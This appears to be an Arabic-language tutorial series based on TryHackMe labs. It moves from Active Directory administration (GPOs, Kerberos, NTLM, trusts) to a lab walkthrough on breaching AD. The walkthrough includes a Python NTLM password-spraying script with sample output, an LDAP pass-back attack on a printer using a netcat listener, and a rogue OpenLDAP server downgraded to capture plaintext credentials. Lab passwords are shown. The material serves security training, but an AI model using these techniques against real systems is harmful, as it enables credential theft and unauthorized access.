كل المستخدمين اللي بالدومين المفروض بقدروا يوصلوا للمكان هاد عن طريق الشبكة عشان يقدروا يحدثوا الـ GPOs تاعتهم بشكل دوري , المكان هاد بشكل افتراضي بكون بمسار : \C:\Windows\SYSVOL\sysvol على كل الـ
DCs بالشبكة

لما ينعمل أي تغيير بالـ GPOs ، ممكن ياخذ لحد ساعتين عشان الأجهزة تحدث الـ GPOs الجديدة لو بدك تجبر جهاز معين يحدث الـ GPOs فوراً ، ممكن تشغل الأمر هاد على الجهاز المطلوب :


كود:
PS C:\> gpupdate /force


إنشاء بعض GPOs لشركة THM Inc

في شغلنا الجديد عننا مهمة إننا نطبق شوية GPOs عشان :

1. نمنع المستخدمين غير الـ IT انهم يوصلو للوحة التحكم (Control Panel)
2. نخلي أجهزة الـ workstations و servers تقفل الشاشة تلقائياً بعد 5 دقائق من عدم النشاط عشان ما يتركو الجلسات مفتوحة

راح نركز على كل وحدة ونحدد السياسات اللي راح نفعلها بكل الـ GPO وأماكن ربطها

تقييد الوصول للوحة التحكم

بدنا نمنع الوصول للوحة التحكم على كل الأجهزة إلا للمستخدمين اللي بقسم الـ IT المستخدمين اللي بالأقسام الثانية غير مسموح الهم يغيروا إعدادات النظام

بننشئ GPO جديد اسمه Restrict Control Panel Access وبنفتحه عشان نعدل عليه بما إننا بدنا الـ GPO يتطبق على مستخدمين محددين بنبحث عند الـ User Configuration على السياسة هاي :



مشاهدة المرفق 11350
مشاهدة المرفق 11346


نجدها هنا
11347

مشاهدة المرفق 11348

نقوم بتفعيل هذه السياسه
مشاهدة المرفق 11349

وهسا بس بنسحبها لكل الاقسام اللي بدنا نمنع عنهم الـ Control Panel
بنلاحظ اننا ما حطيناها بقسم الـ lT لانو احنا بدنا نخليلهم صلاحيه للـ Control Panel


الـ GPO لقفل الشاشة تلقائياً


بإمكاننا نطبقها مباشرة على الـ OUs تاعة الأجهزة والسيرفرات والـ Domain Controllers اللي عملناها قبل

رغم إن هاد الحل بزبط وفي برضو حل بديل وهو إننا نطبق الـ GPO على الدومين الرئيسي لأننا بدنا الـ GPO يأثر على كل أجهزتنا , بما إن الـ OUs تاعة الـ workstations و servers والـ Domain Controllers كلها وحدات فرعية من الدومين الرئيسي ف راح تورث السياسات اللي بالدومين الرئيسي

ملاحظة: لو الـ GPO تم تطبيقه على الدومين الرئيسي بتم وراثته برضو بالـ OUs الثانية زي التسويق والمبيعات بما إن الـ OUs دي بتحتوي على مستخدمين بس أي تكوينات بتخص الكمبيوتر في الـ GPO خاص فينا هتتجاهلهم.

بننشئ GPO جديد وبنسميه Auto Lock Screen وبنعدله

بأمكاننا نبحث على قوقل عن auto lock screen location in ad policy وبنطلعلنا المسار او بنفوت على الخيارات من اسمها ممكن تعرف وين ممكن تلاقيها
السياسة اللي راح نستخدمها موجودة بالمسار هاد :




هنحدد حد عدم النشاط بـ 5 دقائق علشان الأجهزة تقفل تلقائياً لو أي مستخدم ترك جلسته مفتوحة بعد ما نسكر محرر الـ GPO ، هنربط الـ GPO بالدومين الرئيسي عن طريق سحب الـ GPO ليه.

بطلب مننا العدد بالثواني​

نجد معلومات عن هذه البولسي​




التحقق من تطبيق GPOs

بعد ما نطبق الـ GPOs على الـ OUs الصحيحة، بنقدر نسجل الدخول بأي مستخدم من التسويق أو المبيعات أو الإدارة عشان نتأكد

عشان نعمل هيك بنستخدم RDP وبنسجل دخول باستخدام بيانات مارك مثلا :

اسم المستخدم: Mark
كلمة المرور: M4rk3t1ng.21

ملاحظة: لما نستخدم RDP ، استخدم THM\Mark كاسم المستخدم علشان تحدد إنك عايز تسجل دخول كمستخدم مارك في دومين THM

لو حاولنا نفتح لوحة التحكم بتطلعلنا رسالة مكتوب فيها إنو الوصول ممنوع من المسؤول كمان ممكن نستنا 5 دقائق عشان نتأكد إن الشاشة بتتسكر تلقائي

بما إننا ما طبقنا الـ GPO تاعة لوحة التحكم على الـ IT بنقدر نسجل دخول لأي جهاز كمستخدمين من الـ IT وندخل لوحة التحكم عادي

ملاحظة: لو أنشأت وربطت الـ GPOs لكن لأي سبب ما اشتغلت اتذكر إنك بتقدر تشغل gpupdate /force عشان تجبره بتحديث الـ GPOs













طرق الـ Authentication بالـ Active Directory


عند استخدام Windows domains يتم تخزين جميع بيانات الاعتماد بالـ Domain Controllers لما يحاول المستخدم المصادقة على خدمة باستخدام بيانات اعتماد الـ Domain بتحتاج الخدمة انها تتحقق من صحتها من خلال الـ Domain Control في بروتوكولين يمكن استخدامهما للمصادقة على الشبكة بنطاقات الـ Windows :

1. الـ Kerberos : يستخدم في أي إصدار حديث من الـ Windows وهو البروتوكول الافتراضي بأي نطاق حديث
2. الـ NetNTLM : بروتوكول مصادقة قديم يتم الاحتفاظ به لأغراض التوافق

على الرغم من أن الـ NetNTLM يعتبر قديم فإن معظم الشبكات بتحتوي على البروتوكولين الثنين مفعلين

نفصّل طريقه عمل كل من البروتوكولين


الـ Kerberos Authentication

هو بروتوكول المصادقة الافتراضي لأي إصدار حديث من Windows لما يسجل المستخدم دخوله لخدمة باستخدام Kerberos بتم تخصيص tickets اله ( فكّر في التذاكر كإثبات لمصادقة سابقة ) بإمكان المستخدمين اللي معهم ticket يقدموها للخدمة عشان يبينولها أنهم عملو مصادقة قبل على الشبكة وبالتالي بإمكانهم يستخدموها


لما نستخدم الـ Kerberos للمصادقة بتحدث العمليات التالية :

1. برسل المستخدم اسم المستخدم الخاص فيه و طابع زمني ( timestamp مشفر باستخدام مفتاح مشتق من كلمة المرور ) إلى Key Distribution Center (KDC)
وهي خدمة يتم تثبيتها على الـ Domain Controller المسئول عن إنشاء تذاكر Kerberos على الشبكة


2. يقوم الـ KDC بإنشاء وإرسال Ticket Granting Ticket (TGT) التي بتسمح للمستخدم بطلب تذاكر إضافية للوصول إلى خدمات محددة كما يتم إعطاؤه الـ Session Key اللي بحتاجه لتوليد الطلبات التالية
ممكن يكون الموضوع هاد غريب لكنها بتتيح للمستخدمين بطلب تذاكر الخدمة بدون ما يدخلو بياناتهم بكل مره بدهم يتصلو بخدمة معينة

زي ما حكينا الـ TGT مشفرة باستخدام كلمة مرور حساب krbtgt وبالتالي لا يمكن للمستخدم الوصول إلى محتوياتها , من المهم نعرف أن الـ TGT المشفرة بتتضمن نسخة من الـ Session Key كجزء من محتوياتها و KDC مش بحاجه انه يخزن الـ Session Key لأنه بإمكانه يستعيده بفك تشفير الـ TGT عند الحاجة

الخطوتين موضحات بالصوره

Kerberos step 1

اذا المستخدم بدو يتصل بخدمة على الشبكة مثل مشاركة موقع ويب أو قاعدة بيانات بستخدم TGT لطلب Ticket Granting Service (TGS) من KDC الـ TGS هي تذاكر بتتيح تتصل بس بخدمة محددة اللي انشأناها عشانها

3. عشان نطلب الـ TGS برسل المستخدم اسم المستخدم و الطابع الزمني ( اللي حكينا عنهم قبل ) مع TGT و الـ Service Principal Name (SPN) اللي بشير للخدمة واسم الخادم اللي بدنا نوصله , النتيجة للطلب الـ KDC برسل الـ TGS مع الـ Session Key اللي بنستخدمه للمصادقة على الخدمة اللي بدنا نوصللها
وطبعا يتم تشفير
TGS باستخدام مفتاح مشتق من كلمه المرور الخاصه بـ مالك الخدمة اللي هو حساب المستخدم أو الجهاز الذي بتعمل تحته الخدمة , و الـ TGS بتضمن نسخة من الـ Session Key ضمن محتوياتها المشفرة بحيث المالك بإمكانه يوصله بس بفك تشفير الـ TGS .


Kerberos step 2
بعد هيك يمكن إرسال الـ TGS للخدمة المطلوبة للمصادقة وإنشاء اتصال

Kerberos step 3


الـ NetNTLM

بشتغل الـ NetNTLM باستخدام آلية challenge-response

العملية الكاملة هيك :


1. العميل برسل طلب المصادقة للخادم اللي بده يوصلله بعدها الخادم بنشئ رقم عشوائي وبرسله كـ challenge للعميل بعدها العميل بدمج كلمه السر الخاصه فيه NTLM الخاصة به مع الـ challenge (وبيانات أخرى معروفة) لتوليد الـ response للـ challenge وبرسلها مرة ثانيه للـ server للتحقق

البروتوكول NTLM بعمل hash لكلمة مرور المستخدم ويستخدم الـ hash بعمليات المصادقة بدلاً من كلمة المرور الفعلية



2. بعدها الـ server بعمل إعادة توجيه للـ challenge والـ response لـ Domain Controller للتحقق , بستخدم الـ Domain Controller الـ challenge لإعادة حساب الـ response وبقارنها بالـ response الأصلية اللي أرسلها العميل إذا طلعو متطابقين اكيد يتم مصادقة العميل غير هيك يتم رفض الوصول , يتم إرسال نتيجة المصادقة إلى server ومن ثم يقوم الخادم بإعادة توجيه نتيجة المصادقة إلى العميل.


لاحظ أن كلمة مرور المستخدم (أو الـ hash ) لا يتم إرسالها عبر الشبكة للأمان











اداره الـ Treesو Forests بالـ Active Directory

لهسا حكينا عن كيفيه إدارة domain واحد ودور وحدة التحكم بالـ domain وكيفية انضمام أجهزة الكمبيوتر والخوادم والمستخدمين... لما تكبر الشركات بتنمو شبكاتها كمان ووجود domain واحد لشركة بكفي بالبداية لكن مع مرور الوقت ممكن تحتاج أكثر من domain واحد

Single Domain



الـ Trees

تخيل مثلا انه شركتك توسعت فجأة لدولة جديدة الدولة الجديدة الها قوانين ولوائح مختلفة بتتطلب منك مثلا تحدث سياسات الـ GPO للامتثال لقوانينها وكمان عندك فريق IT بكل من البلدين وكل فريق IT بحتاج لإدارة الموارد التي بتخص كل بلد بدون التدخل في بعمل الفريق الآخر

في حين أنه بإمكانك تنشئ هيكل OU معقد وتستخدم الـ delegations لتحقيق هاد لكن ممكن يكون من الصعب إدارة هيكل AD كبير وعرضة للأخطاء البشرية

الـ Active Directory بدعم تدمج عدة نطاقات بحيث بإمكانك تقسم شبكتك لوحدات يمكن إدارتها بشكل مستقل إذا كان عندك domain 2 بشتركوا بنفس الاسم ( thm.local في مثالنا ) بأمكاننا ندمج هذول النطاقيات بـ Trees

إذا تم تقسيم نطاق thm.local إلى نطاقين فرعيين لفروع مثلا UK و US بإمكانك تبني الـ Trees بالـ domain الاصلي thm.local ونطاقين فرعيين ( subdomains ) يسمى uk.thm.local و us.thm.local ، كل منها يحتوي على AD أجهزة كمبيوتر ومستخدمين :


Tree

بمنحنا هاد الهيكل المقسم تحكم أفضل ب من بإمكانه الوصول إلى ماذا بالـ domain بحصل فريق الـ IT بالـ US على وحدة تحكم بالـ domain الخاص فيهم ( بديرو موارد الـ us بس ) مثلا ما بقدر حد من فريق الـ IT انه يدير مستخدم من الـ UK

هيك بكون لمديري الـ domain بكل فرع سيطرة كاملة على وحدات التحكم بالـ domain الخاصة فيهم ولكن ليس على وحدات التحكم بالـ domain الخاصة بالفروع الأخرى وبأمكاننا كمان نكون سياسات بشكل مستقل لكل domain بالـ Trees

يجب تقديم مجموعة أمان جديدة لما نحكي عن الـ Treesو Forests بنمنح مجموعة الـ Enterprise Admins للمستخدم امتيازات إدارية على جميع نطاقات المؤسسة كل نطاق بكونله مديري نطاق بصلاحيات إدارية على نطاقهم بس والـ Enterprise Admins اللي بإمكانهم يتحكمو بكل اشي بالمؤسسة




الـ Forests

لنفترض أن شركتك بتستمر بالنمو و بالنهاية بتستحوذ على شركة ثانيه تسمى MHT Inc لما تندمج الشركتان بكون عند على الأرجح domain trees مختلفة لكل شركة يديرها كل منها قسم تكنولوجيا المعلومات الخاص فيه الاتحاد بين عدة trees بأسماء مختلفة بنفس الشبكة يعرف بالـ Forests
Forest



الـ Trust Relationships
وجود عدة domain منظمة بـ Treesو Forests بسمحلك بوجود شبكة مقسمة بشكل جيد من حيث الإدارة والموارد لكن بمرحلة معينة ممكن تحتاج مستخدم بالـ THM UK للوصول لملف مشترك بأحد خوادم MHT ASIA عشان هاد الاشي يحدث يتم ربط الـ domains المنظمة بالـ Treesو Forests ببعضها البعض بواسطة الـ Trust Relationships

وجود علاقة موثوقة بين الـ domains بسمحلك باعطاء صلاحيه لمستخدم من domain الـ THM UK للوصول لموارد لـ domain الـ MHT EU

أبسط علاقة موثوقة يمكن إقامتها هي علاقة موثوقة باتجاه واحد

بالعلاقة الموثوقة باتجاه واحد إذا كان domain الـ AAA يثق في domain الـ BBB ف يعني أن مستخدماً بـ BBB يمكن السماح له للوصول لموارد بـ AAA :



Trusts

اتجاه العلاقة الموثوقة باتجاه واحد يكون عكس اتجاه الوصول

يمكن أيضاً إقامة علاقات موثوقة باتجاهين للسماح لكل domain بالسماح للمستخدمين من الـ domain الثاني بالوصول لموارد بعض , بشكل افتراضي دمج عدة domains تحت Trees او Forests بشكل علاقة موثوقة باتجاهين

من المهم ملاحظة أن وجود علاقة موثوقة بين الـ domain لا يمنح تلقائياً الوصول إلى جميع الموارد بالـ domain الثانية , بمجرد إنشاء علاقة موثوقة بكون عندك الفرصة لتسمح للمستخدمين عبر domains مختلفة , لكن الموضوع برجعلك باللي بتسمحه او لا













مقدمة عن اختراق الـ Active Directory

الوصول الأولي واختراق Active Directory

قبل ما نبلش ندور على اخطاء او ثغرات او كيف نرفع صلاحيات بالـ AD بنحتاج نوصل اول اشي , بكلمات ادق بنحتاج بيانات عن الـ AD وعاده اول اشي بنعمله قبل اي عمليه ختراق او اي عمليه فحص بنعمل Enumeration وطبعا بسبب عدد الخدمات الوميزات بالـ AD ف الهجوم عشان نحصل على بيانات اوليه بكون مهم

حتى لما نحكي عن بيانات اوليه ما بنحكي عن الاذونات اللي مرتبطه بالحساب نفسه بس بدنا طريقه نكون ( يكون النا مكان ) بالـ AD عشان نعمل Enumeration عالـ AD نفسه





عشان نتصل بالشبكة الخاصه بـ TryHackMe

إذا كنت بتستخدم الـ AttackBox من الويب بتلاقيه موصلك بالشبكة تلقائي بإمكانك تتاكد باستخدام أمر ping للتحقق من IP الـ host اللي هو THMDC.za.tryhackme.com ولكن بس بدنا نزبط اعدادات الـ DNS

شبكات الـ Windows بتستخدم خدمة الـ Domain Name Service لجعل أسماء الـ host لـ IPs

لتكوين الـ DNS بنستخدم الأمر :

كود:
systemd-resolve --interface breachad --set-dns $THMDCIP --set-domain za.tryhackme.com
وطبعا بتستبدل الـ THMDCIP$ بـ IP الخاص بـ THMDC بشبكتك بإمكانك تختبر الـ DNS عن طريق الامر :
كود:
nslookup thmdc.za.tryhackme.com

إذا كنت بتستخدم جهازك بتم توليد ملف OpenVPN من اعدادات الوصلول بحسابك ( access )

بنروح عالصفحه


مشاهدة المرفق 11637

بنختار BreachingAD من خوادم الـ VPN وبنزله

مشاهدة المرفق 11638

على لينكس بنستخدم الامر هاد عشان نتصل عن طريق اداه OpenVPN
كود:
sudo openvpn breachingad.ovpn
لما تظهرلنا رساله Initialization Sequence Completed ف احنا هيك متصلين على الشبكة وكمان لازم نعمل اعدادات الـ DNS بنفس الطريقة اللي حكينا عنها قبل لاحظ أن الـ DC بسجل طلبات الـ DNS

تصحيح أخطاء الـ DNS


تصحيح أخطاء DNS جزء أساسي من اختبار Active Directory والسبب هو أن أحد بروتوكولي المصادقة الرئيسيين في AD وهو الـ Kerberos بعتمد على الـ DNS لإنشاء التذاكر زي ما حكينا قبل لا يمكن ربط التذاكر بعناوين الـ IP عشان هيك الـ DNS ضروري عند اختبار شبكات الـ AD بالتقييمات الأمنية لازم يكون عندك مهارات لحل مشاكل الـ DNS

عندك خيارين عادةً :


1. تسجيل إدخالات الـ DNS يدويًا بملف etc/hosts/ ممكن يكون هاد الحل فعال بس مش عملي إذا كنت بتختبر شبكات بتضم مثلا أكثر من 10,000 hosts
2. ممكن توخذ وقت وانت بتحل مشاكل الـ DNS ممكن يكون الاشي صعب بس بعطي نتائج أفضل على المدى الطويل
لما تواجه مشكلة بإحدى المهام بتسأ حالك هل DNS شغال ؟ ممكن تكون ضيعت وقت بتسأل حالك ليش ما بتشتغل الادوات اذا ما بتكون المشكله من الادوات بكون بس انه الـ DNS تغير

خطوات تصحيح أخطاء DNS :

اتبع الخطوات بس حسب نوع جهازك
إذا كنت بتستخدم نظام تشغيل مختلف بتبحث على Google بتلاقي إعدادات لجهازك



1. بتشغل الأمر
كود:
ping <THM DC IP>
هاد بتحقق من الشبكة انها نشطة إذا ما حصلت على اجابة ف هاد يعني أنه الشبكة غير نشطة حاليًا إذا كانت الشبكة بتشتغل بعد تحديث صفحة الدرس وما حصلت على اجابه اتصل بالدعم ويمكن حلها باعاده تشغيل الشبكه


2. بنشغل امر
كود:
nslookup tryhackme.com <THM DC IP>
هاد بتحقق من خادم DNS انه داخل الشبكة نشط لأنه وحدة التحكم بالـ DNS الها دور , إذا ما اشتغل أمر ping اتصل بالدعم لأنو بكون في مشكلة ويمكن حلها باعاده تشغيل الشبكه

3. بنشغل امر
كود:
nslookup tryhackme.com
إذا حصلت على استجابة مختلفة عن الخطوة السابقة ف هاد يعني أنه في مشكلة بتكوين الـ DNS بترجع للخطوات اللي شرحناها قبل كيف تزبط اعدادات الـ DNS مشكلة شائعة بالـ Kali هي أن إدخال الـ DNS يتم وضعه كالإدخال الثاني في ملف etc/resolv.conf/ وضعه كالإدخال الأول بحل المشكلة


ملاحظه

الشبكات بالـ AD مصنفة كمتوسطة الصعوبة عشان هيك اذا انت هسا تطبق عملي على طول من الافضل انك تبدا باشي اسهل وتطبق عليه لانه الـ AD نظام ضخم وبتحتاج لـ عقلية استكشافية عشان تنجح باختباره



تقنيات اختراق الـ Active Directory

الـ OSINT و الـ Phishing
طريقتين مشهورين عشان نقدر نحصل على أول مجموعة من بيانات الدخول للـ Active Directory بنذكرهم بشكل سريع لأننا سبق وحكينا عنهم بمسار اختبار الاختراق بالتفصيل



الـ OSINT


الـ OSINT بستخدم عشان نكتشف معلومات متاحة للعامة بالنسبة لبيانات دخول الـ Active Directory هاد ممكن يحصل لأسباب زي :

مستخدمين بسألوا بمنتديات عامة زي Stack Overflow وبكشفوا عن معلومات حساسة زي بيانات دخول بالسؤال مثلا
مطورين بنزلوا سكريبتات على مواقع زي Github وفيها بيانات دخول مكتوبة بشكل مباشر مثلا
بيانات دخول اللي بتنكشف بتسريبات سابقة لأن الموظفين استخدموا حسابات الشغل الخاصه فيهم بتسجيل بمواقع خارجية مواقع زي HaveIBeenPwned و DeHashed بتوفر منصات ممتازة عشان نحدد إذا كانت معلومات شخص ما زي البريد الإلكتروني الخاص بالشغل الخاص فيه تم الكشف عنها بتسريب معروف علنًا


باستخدام تقنيات الـ OSINT ممكن نقدر نسترجع بيانات دخول متاحة للعامة لو كنا محظوظين ولقينا بيانات دخول بنضل محتاجين نلاقي طريقة نختبر إذا كانت صالحة ولا لأ لأن معلومات الـ OSINT ممكن تكون قديمة

كمان شوي راح نحكي عن خدمات الـ NTLM Authenticated اللي ممكن توفر طريقة ممتازة لاختبار بيانات الدخول هاي عشان نشوف إذا كانت لسه صالحة ولا لأ



الـ Phishing


الـ Phishing طريقة ممتازة ثانية لاختراق الـ Active Directory
الـ Phishing عادةً بحاول يخدع المستخدمين إنهم يقدموا بيانات الدخول الخاصه فيهم على صفحة ويب خبيثة أو بنطلب منهم يشغلو تطبيق معين اللي بدوره بنزل مثلا Remote Access Trojan (RAT) بالخلفية هاي الطريقة منتشرة جدًا لأن الـ RAT بشتغل بسياق المستخدم وبالتالي بمكنك انك تنتحل حساب المستخدم بالـ Active Directory مباشرةً عشان هيك الـ Phishing موضوع كبير للـ Red and Blue teams










الـ NTLM


الـ NTLM هو نظام أمان بستخدمه الـ Active Directory لتأكيد هوية المستخدمين الـ NTLM بستخدم نظام اسمه NetNTLM عشان يأكد الهوية بطريقة challenge-response-based الطريقة هاي تستخدم كثير بالشبكات بس ممكن الخدمات اللي بتستخدمها تنعرض على الإنترنت مثلا :

1. سيرفرات البريد الإلكتروني اللي بتستخدم Outlook Web App للتسجيل
2. خدمة الـ Remote Desktop Protocol
نقاط الـ VPN endpoints اللي متصلة بـالـ Active Directory
تطبيقات ويب بتستخدم NetNTLM




الـ NetNTLM


الـ NetNTLM يسمى ايضا Windows Authentication بخلي التطبيق يلعب دور الوسيط بين العميل و الـ Active Directory كل معلومات التحقق بتروح للـ Domain Controller على شكل challenge ولو نجح التطبيق بأكد هوية المستخدم
يعني التطبيق بأكد هوية المستخدم بالنيابة عنه بشكل مش مباشر هاد بمنع التطبيق من تخزين بيانات الـ Active Directory اللي المفروض بتتخزن بس بالـ Domain Controller



c9113ad0ff443dd0973736552e85aa69.png

هجمات التخمين Brute-force Login Attacks



الخدمات اللي معروض على النت طريقه منيحه عشان نجرب البيانات اللي حصلنا عليها باي طريقه ممكن نحاول نستخدمها لهجمات الـ Brute-force عشان نلاقي بيانات Active Directory صحيحة
لكن معظم بيئات الـ Active Directory بكون فيها خاصية قفل الحساب بعد محاولات فاشلة كتير ف ما بنقدر نعمل هجوم Brute-force كامل
بدل منعلم هيك بنعمل هجوم اسمه password spraying بنجرب باسورد واحد مع كل الأسماء اللي عندنا الهجوم هاد بنكشف بسهولة عشان بولد عدد كبير من المحاولات الفاشلة



مثال عملي



عننا قائمه الـ بأسماء مستخدمين حصلنا عليها عن طريق OSINT (تجسس عن طريق المعلومات العامة)

التمرين كمان أشار إن باسورد الشركة الأولي هو Changeme123 رغم إن المستخدمين المفروض يغيروا الباسورد هاد بس في ناس بتنسى بنستخدم سكريبت مخصص لعمل هجوم password spraying على الويب موجود على الرابط : http://ntlmauth.za.tryhackme.com

لما ندخل على الرابط بنلاقي إنه بطلب بيانات تسجيل Windows Authentication لو بدك تجرب البيانات يدويًا استخدم Chrome عشان Firefox بكون فيه مشاكل من الناحيه هاي


سكريبت الهجوم

ممكن نستخدم أدوات زي Hydra او Burp suite للهجوم بس يفضل نكتب سكريبت بنفسنا عشان نتحكم بالعملية الكود هاد هو الجزء الرئيسي من السكريبت :

Python:
def password_spray(self, password, url):
    print ("[*] Starting passwords spray attack using the following password: " + password)
    #Reset valid credential counter
    count = 0
    #Iterate through all of the possible usernames
    for user in self.users:
        #Make a request to the website and attempt Windows Authentication
        response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
        #Read status code of response to determine if authentication was successful
        if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
            print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
            count += 1
            continue
        if (self.verbose):
            if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
                print ("[-] Failed login with Username: " + user)
    print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

الكود هاد باخد الباسورد والرابط اللي بنستهدفه كمدخلات وبحاول يدخل باستخدام كل اسم مستخدم موجود بالملف النصي ( اللي معطينا اياه بالتحدي ) عن طريق مراقبة رقم الاستجابة من الموقع بنقدر نعرف إذا كانت البيانات صحيحة ولا لأ لو البيانات صحيحة التطبيق برد بكود 200 (OK) لو البيانات غلط التطبيق برد بكود 401 (Unauthorized)


تشغيل السكريبت

لو بتستخدم الـ AttackBox بتلاقي السكريبت والملف النصي للأسماء بالمسار /root/Rooms/BreachingAD/task3/ لتشغيل السكريبت استخدم الأمر هاد :

كود:
python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
استبدل القيم التالية :

الـ <userfile> - الملف النصي اللي فيه أسماء المستخدمين - usernames.txt
الـ <fqdn> - الدومين المرتبط بالشركة اللي بنهاجمها - za.tryhackme.com
الـ <password> - الباسورد اللي هنستخدمه في الهجوم - Changeme123
الـ <attackurl> - رابط التطبيق اللي بدعم الـ Windows Authentication هو http://ntlmauth.za.tryhackme.com


باستخدام القيم هاي بنلاقي بعض بيانات الدخول الصحيحة من الهجوم


مثال عملي لتشغيل الهجوم:

كود:
[thm@thm]$ python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
[*] Starting passwords spray attack using the following password: Changeme123
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: henry.taylor
[...]
[+] Valid credential pair found! Username: [...] Password: Changeme123
[-] Failed login with Username: louise.talbot
[...]
[*] Password spray attack completed, [X] valid credential pairs found


باستخدام مزيج من الـ OSINT و الـ NetNTLM password spraying بنلاقي أول بيانات دخول صحيحة بنقدر نستخدمها لاستكشاف الـ AD بشكل أكبر











الـ LDAP



الـ LDAP هو بروتوكول يستخدم للمصادقة بالـ Active Directory مثل NTLM

الـ LDAP بسمح لتطبيقات معينة بالتحقق مباشرة من بيانات دخول المستخدمين التطبيق بمتلك زوج من بيانات Active Directory اللي بنستخدمهم عشان نعمل query للـ LDAP والتحقق من بيانات المستخدم

مصادقه الـ LDAP مشهور بين التطبيقات الـ
third-party (مش اللي لمايكروسوفت) اللي بتتواصل مع الـ Active Directory مثل :


  • Gitlab
  • Jenkins
  • Custom-developed web applications
  • Printers
  • VPNs


إذا كان واحد من هاي التطبيقات أو الخدمات على النت بإمكانها تتعرض لنفس الهجمات اللي بتحصل مع أنظمة الـ NTLM

ولأن الـ LDAP بحتاج بيانات Active Directory هاد بفتح طرق جديدة للهجمات ممكن نحاول نسترجع بيانات Active Directory اللي بتستخدمها الخدمة للوصول للـ Active Directory

عمليه المصادقه من خلال الـ LDAP موضحه بالصوره


d2f78ae2b44ef76453a80144dac86b4e.png



هجوم Pass-back على الـ LDAP

هو نوع من الهجمات اللي بتم ضد الأجهزة مثل الطابعات الهجوم بتم لما يكون عننا وصول أولي للشبكة الداخلية مثل توصيل rogue device بغرفة الاجتماعات
قصدنا بـ rogue device جهاز غير مرخص بندخله للشبكه بهدف اختراقها ممكن يكون تلفون او لابتوب او اي جهاز هدفه يخترق الشبكه

غالبًا بيانات الدخول للواجهة الافتراضية بتكون زي admin , admin أو admin , password هون ما بنقدر نستخرج بيانات LDAP مباشرة لأنو ما معنا كلمة المرور لكن ممكن نغير إعدادات الـ LDAP مثل عنوان الـ IP او الـ hostname الخاص بالسيرفر


في الهجوم هاد بنقدر نغير الـ IP بنخليه IP للجهاز الخاص فينا ونجرب إعدادات LDAP اللي بتجبر الجهاز يحاول المصادقة مع جهازنا وبعدها بنقدر نعترض محاوله المصادقه هاي عشان نسترجع LDAP credentials صالحه




تنفيذ الهجوم

بشبكة معينة فيه طابعة ما بتطلب بيانات دخول للوصول لإعداداتها بنروح للعنوان هاد http://printer.za.tryhackme.com/settings.aspx بعد ما نتصل بالخطوات اللي شرحناها فوق

بنقدر نتحقق باستخدام الـ inspection بالمتصفح إنه الطابعة ما بترسل كلمة المرور مباشرة للمتصفح

عننا اسم المستخدم لكن مش كلمة المرور

لما نضغط على Test Settings الطابعة بترسل طلب مصادقة للتحقق من بيانات الـ LDAP ممكن نستغل هاد الطلب وبنجعل الطابعة تتواصل معنا بدل السيرفر الفعلي ونحصل على البيانات


بنشغل الـ listener باستخدام الـ Netcat

بنقدر نستخدم الـ Netcat عشان نستمع على الاتصالات على المنفذ 389 (المنفذ الافتراضي لـ LDAP) بنستخدم الأمر هاد :

كود:
[thm@thm]$ nc -lvp 389
listening on [any] 389 ...
10.10.10.201: inverse host lookup failed: Unknown host
connect to [10.10.10.55] from (UNKNOWN) [10.10.10.201] 49765
0?DC?;
?
?x
 objectclass0?supportedCapabilities

ممكن تحتاج أكثر من محاولة عشان تحصل على اتصال لكن المفروض يستجيب بحدود الـ 5 ثواني

رد الـ supportedCapabilities بخبرنا بوجود مشكلة بالأساس قبل ما ترسل الطابعة بيانات الدخول بتحاول تستفسر على تفاصيل طريقة الـ LDAP authentication بتستخدم هاد الاستفسار لاختيار الطريقة الأكثر أمان اللي بتدعمها كل من الطابعة وخادم الـ LDAP

إذا كانت طريقة المصادقة آمنة للغاية ف اكيد ما رح يتم نقل بيانات الدخول بنص واضح ببعض طرق المصادقة لا يتم نقل بيانات الدخول عبر الشبكة على الإطلاق! عشان هيك ما بنقدر نستخدم الـ Netcat العادي للحصول على بيانات دخول بنحتاج لإنشاء خادم LDAP غير آمن وتكوينه بطريقة بتضمن إرسال بيانات دخول بنص واضح




استضافة سيرفر LDAP مزيف

بنحتاج نستضيف سيرفر LDAP مزيف بستخدم مصادقة عادية ( PLAIN و LOGIN ) بنستخدم الـ OpenLDAP لو بتستخدم الـ AttackBox بتلاقي الـ OpenLDAP مثبت بالفعل لكن لو بنستخدم جهازنا بنثبته بالأمر هاد :
كود:
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

بعدها لازم نعيد تهيئة السيرفر بالأمر هاد :
كود:
sudo dpkg-reconfigure -p low slapd

بعدها راح يطلعلك نافذه تأكد انك تظغط على no

97afd26fd4f6d10a2a86ab65ac401845.png

بالنسبه للـ DNS بنختار الـ DNS تاع الهدف تاعنا الا وهو za.tryhackme.com

01b0d4256900cbf48d8d082d8bdf14bb.png

ولاسم الـ Organisation بنختار نفس الاشي الا وهو za.tryhackme.com

c4bef0c3f054c32ca982ee9c1608ba1b.png
بعدها بنحط كلمه مرور للـ Administrator

23b957d41ddba8060e4bc2295b56a2fb.png


بعدها بنختار MDB كقاعده بيانات LDAP لاستخدامها

07af572567aa32e0e0be2b4d9f54b89a.png


بعدها بنتأكد من الخيار هاد انو ما يمحي الداتابيز

4d5086da7b25a6f218d6eebdab6d3b71.png


اخر خيار بنختار نعم انو ينقل ملفات قاعده اليانات القديمه قبل ما ينشئ ملف جديد

d383582606e776eb901650ac9799cef5.png


قبل ما نستخدم خادم الـ LDAP بنحتاج نخليه ضعيف عن طريق خفض آليات المصادقة المدعومة بدنا نتأكد من أنه خادم LDAP الخاص فينا بدعم فقط طرق المصادقة PLAIN و LOGIN

عشان نعمل هاي الاعدادات بنحتاج ننشئ ملف وبنسميه olcSaslSecProps.ldif بالمحتوى التالي :

كود:
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

الملف بحتوي على الخصائص التالية:
  • الـ olcSaslSecProps : بحدد خصائص أمان SASL
  • الـ noanonymous : بعطل الآليات اللي بتدعم تسجيل الدخول المجهول
  • الـ minssf : بحدد الحد الأدنى لقوة الأمان المقبولة بـ 0 مما يعني عدم وجود حماية
